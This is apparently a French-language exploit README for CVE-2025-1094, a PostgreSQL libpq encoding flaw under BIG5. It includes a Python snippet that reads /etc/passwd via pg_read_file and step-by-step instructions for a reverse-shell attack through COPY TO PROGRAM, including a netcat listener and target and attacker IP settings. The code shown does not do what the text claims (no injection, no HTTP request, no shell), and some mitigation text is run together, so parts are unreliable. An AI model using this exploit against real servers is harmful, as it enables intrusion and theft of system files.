aninfosec/cve-2025-1094Il s'agit d'un défaut d'assainissement des entrées causé par une incompatibilité d'encodage, permettant à une entrée conçue de contourner les filtres. Si un serveur est vulnérable, un attaquant peut injecter du SQL malveillant que le backend exécute.
#J'ai écrit cet exploit en référence au PoC disponible sur CVE-2025-1094
CVE‑2025‑1094 est une vulnérabilité de désinfection des entrées dans les fonctions d'échappement libpq de PostgreSQL et l'outil interactif psql. Elle découle d'une mauvaise gestion des encodages multi-octets lorsque l'encodage client est défini sur BIG5. Dans certaines conditions, cela peut entraîner une mauvaise gestion des caractères d'échappement, permettant aux attaquants de contourner les limites de requêtes prévues.
Cette vulnérabilité a été découverte par Rapid7 lors de l'analyse de CVE‑2024‑12356, un problème distinct dans les appliances BeyondTrust. Le comportement de PostgreSQL a été exploité dans le cadre d'une vulnérabilité chaînée plus large pour influencer davantage le comportement du backend.
Lorsqu'un serveur web ou une application transmet une entrée utilisateur directement dans des requêtes SQL exécutées via psql, et que le client_encoding est défini sur BIG5, une entrée spécialement conçue peut terminer une instruction SQL prématurément et ajouter du code SQL malveillant.
Cela permet des opérations supplémentaires telles que la lecture de fichiers locaux (par exemple /etc/passwd) via les fonctions lo_export, pg_read_file ou similaire de PostgreSQL.
Il ne s'agit pas par défaut d'une vulnérabilité d'exécution de code à distance (RCE) dans PostgreSQL. Il s'agit plutôt d'une mauvaise utilisation des API client de PostgreSQL qui, lorsqu'elles sont mal filtrées ou mal échappées, peuvent être exploitées pour divulguer des contenus de fichiers sensibles ou potentiellement exécuter du SQL dangereux.
COPY TO, pg_read_file ou lo_export lorsqu'ils sont combinés avec une injection SQL dans les applications clientes.BIG5 et que l'entrée n'est pas correctement désinfectée.client_encoding=BIG5.import psycopg2
conn = psycopg2.connect(
host="127.0.0.1",
dbname="test",
user="test",
password="Test"
)
conn.set_client_encoding("BIG5")
cursor = conn.cursor()
# Payload to read /etc/passwd into a server-accessible file
sql = \
"""
DO $$ DECLARE f text; BEGIN f := pg_read_file('/etc/passwd', 0, 1000);
RAISE NOTICE '%%', f; END $$;
"""
cursor.execute(sql)
conn.commit()
##✅ Que fait cet Exploit.py :
Définit PGCLIENTENCODING=BIG5 dans l'environnement (condition déclencheur). Confectionne une charge utile d'injection SQL pour sortir d'une requête et insérer une nouvelle commande COPY TO PROGRAM. Envoie la charge utile via une requête GET au serveur web vulnérable (/search?q=...). Si le backend utilise psql et une entrée non désinfectée, le COPY TO PROGRAM s'exécute et écrit le résultat ou ouvre un shell.
⚠️ Le shell inversé ne réussira que si le serveur :
Exécute SQL en utilisant psql (pas de pilotes de base de données paramétrés)
Autorise COPY TO PROGRAM (nécessite superutilisateur)
A une connectivité sortante vers l'attaquant
#Le script Python envoie une charge utile spécialement conçue à un serveur web vulnérable qui transmet l'entrée directement à un processus psql PostgreSQL avec l'encodage BIG5 : Étapes à suivre :
Démarrer un écouteur sur le terminal :
nc -lvnp 4444
Modifier le script d'exploit :
Définir TARGET_URL sur l'IP ou le domaine du serveur cible. Confirmer que ENDPOINT correspond à la route (par exemple /search). Ajuster REVERSE_IP et REVERSE_PORT pour correspondre à votre boîte d'attaque.
Exécuter le script dans un terminal différent :
python3 exploit.py
Résultat : En cas de succès, vous recevrez une connexion sur votre écouteur. Sinon, essayez de lire des fichiers (par exemple /etc/passwd) en utilisant plutôt des charges utiles pg_read_file.
EUC_TW ou un encodage similaire.psql ou du SQL dynamique non échappé.pg_read_file ou lo_export.client_encoding=BIG5 sauf si explicitement nécessaire.